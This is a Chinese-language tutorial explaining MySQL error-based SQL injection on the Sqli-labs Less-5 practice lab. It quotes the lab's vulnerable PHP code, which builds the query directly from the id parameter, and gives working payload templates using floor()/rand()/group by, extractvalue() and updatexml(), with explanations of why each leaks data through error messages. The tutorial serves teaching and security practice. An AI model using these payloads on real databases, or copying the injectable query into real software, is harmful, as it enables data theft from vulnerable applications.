这篇是之前写的报错注入分析,有些地方表述不是很成熟,欢迎各位大佬指出问题,本人努力改正。
在测试注入无法回显数据时,报错注入是一种很好的选择。
0x00原理
构造 payload 让信息通过错误提示回显出来。
- 0x01 应用场景
- 查询不回显内容,会打印错误信息。
- update 、insert 等语句,会打印错误信息。
Sqli-labs Less-5 存在报错注入的代码:
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
有点复杂哈,那么浓缩下来看,就是存在以下代码:
if($row)
{
echo 'You are in...........';
}
else
{
print_r(mysql_error());
}
然后利用产生错误信息的语句(函数),在其中插入我们想要执行的语句之后,从而实现报错注入。
- 0x02 利用
如何利用报错注入
让错误信息中返回数据库中的内容。
构造语句,让错误信息中可以显示数据库内容。
报错注入方法小归纳
凡是可以让错误信息显示的语句(函数),都能实现报错注入。
函数名称 | 利用
--------- | -------------
floor() | select count(\*) from information _schema.tables group by concat((此处加入执行语句),0x7e,floor(rand(0)\*2));
extractvalue() | extractvalue(1,concat(0x7e,(此处加入执行语句),0x7e));
updatexml() | updatexml(1,concat(0x7e,(此处加入执行语句),0x7e),1);
Tips: 以 0x 开始的数据表示16进制,0x7e 表示为 ~
符号。
- 0x03 实践
floor() 报错原理
研究了这个几天,参考了一些博客,发现一些大佬表达能力比我强太多,脑壳疼...
利用 floor() 函数使 SQL 语句报错,实际上是由 rand() , count() , group by 三个函数语句联合使用造成的。
首先,看一下语句中使用到的函数和子句:
1. concat: 连接字符串功能
2. floor: 取float的整数值(向下取整)
3. rand: 取0~1之间的随机浮点值
4. group by: 根据一个或多个列对结果集进行分组并有排序功能
5. floor(rand(0)*2): 随机产生0或1
刚才已经说了 利用 floor() 的报错注入实际上是由 rand() , count() , group by 三个函数语句联合使用造成的,想要搞清楚原理我们首先来分析单个,
从 group by 子句开始,
这里我建了一个 person 表测试:

我们通过 page 年龄这个字段来对表中数据分组:

可以看到我们出现了一个新的数据表,有 page 、 count(*) 这两个字段,count(*) 字段下表示每个年龄人的数量,
可以联想到 group by 子句的执行流程,最初时,page-count(*)这个数据表是空的,通过一行一行读原数据表中的 page 字段,如果读到的 page 在 page-count(*) 数据表中不存在,就将它插入,并且将对应的 count(*) 赋为1,如果存在,就将其对应的 count(*) +1,直至扫完整个数据表。
Tips:这里有一点需要注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,这也是报错的关键点。
报错的主要原因是虚拟表的主键重复,那我们来看一下是哪里,在什么情景下重复了。
这时候用到 rand() 函数了,继续来了解 rand() 函数的用法:
- 生成01之间的随机浮点值
- 可以给 rand() 传一个参数作为 rand() 的种子,然后 rand 函数会依据这个种子进行随机生成
这里加上 floor() 函数的用法:
- floor: 取float的整数值(向下取整)
所以,floor(rand()*2) 和 floor(rand(0)*2) 表示产生0或者1。
我们来比较下它们的区别:


可以看到 floor(rand()*2) 产生的数值没有规律,而floor(rand(0)*2) 的规律是01101...,具体可以再多插入些数据测试下,肯定是这样的。
下面就是重中之重了,
回顾我们构建报错注入的语句:
select count(*) from information _schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));
执行前虚拟表为空,执行时, group by 根据 concat((select version()),0x7e,floor(rand(0)*2)) 分组,因为 floor(rand(0)*2) 是有规律的,所以第一次的生成结果为5.7.240 ,以 5.7.240 查询虚拟表发现虚拟表中没有该值的主键,所以就将这条语句的结果放入虚拟表中。在放入虚拟表中 函数会再次运算,这时候变成 5.7.241 ,所以插入的值变成了 5.7.241 。

当原数据表只有一条时,显然 group by 只会分一组 主键唯一并不会报错,当数据变成两条以上时,如果查询第二条插入时运算结果变成 5.7.241 ,就会报错,而三条数据以上一定会报错。
floor(rand(0)*2) 函数的值是固定的,也就是01101... 等,具体分析下操作流程:
查询前,虚拟表为空。
查询第一条记录,执行
group by concat((select version()),0x7e,floor(rand(0)\*2))
结果为 5.7.240 (第一次运算) ,查询虚拟表没有 5.7.240 的键值,插入时 group by concat((select version()),0x7e,floor(rand(0)*2)) 再次运算,结果为 5.7.241 (第二次运算),放在虚拟表中,此时表中
key | count(*)
--------- | -------------
5.7.241 | 1
查询第二条记录,再次执行 group by concat((select version()),0x7e,floor(rand(0)*2)) ,结果为 5.7.241 (第三次运算),查询发现 5.7.241 的键值存在,所以不会再次计算,直接 count(*)+1 ,此时表中
key | count(*)
--------- | -------------
5.7.241 | 2
查询第三条记录,再次执行 group by concat((select version()),0x7e,floor(rand(0)*2)) ,结果为 5.7.240 (第四次运算),虚拟表中没有键值为 5.7.240 ,所以插入数据,在插入时再次计算,作为主键 5.7.241 ,而此时 5.7.241 已经存在在虚拟表中,主键必须唯一,所以产生报错。
Tips:综上所述,当数据表记录大于三时,使用 group by floor(rand(0)*2) 一定报错。
ERROR 1062 (23000): Duplicate entry '5.7.24~1' for key '<group_key>'

总结:利用 floor() 函数,group by 子句,rand() 函数联用的报错注入是因为 group by 子句在查询虚拟表和插入虚拟表时,两次相同语句执行的结果不一致导致的错误报出。
extractvalue() 报错原理
函数解释:
1. extractvalue():从目标 XML 中返回包含所查询值的字符串。
2. EXTRACTVALUE (XML_document, XPath_string);
3. 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc 。
4. 第二个参数:XPath_string ( Xpath 格式的字符串)
5. concat:返回结果为连接参数产生的字符串。
第一个参数表示目标 xml 文档,第二个参数表示 xml 路径。
我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。
如果写成其他形式就会报错。
当正常查询时,即使查询不到也不会报错。

当我们尝试报错注入时:
测试代码:
select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,(select database()))));

Tips: extractvalue() 能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用 substring() 函数截取。
测试代码:
select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,substring(hex((select database())),1,20))));


总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。
updatexml() 报错原理
函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
作用:改变文档中符合条件的节点的值。
updatexml() 报错与 extractvalue() 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为32,同样在第二个参数出插入我们需要的语句代码。
测试代码:
select pname,page from person where pwd = '111' and updatexml(1,concat(0x7e,(select database()),0x7e),1);

总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。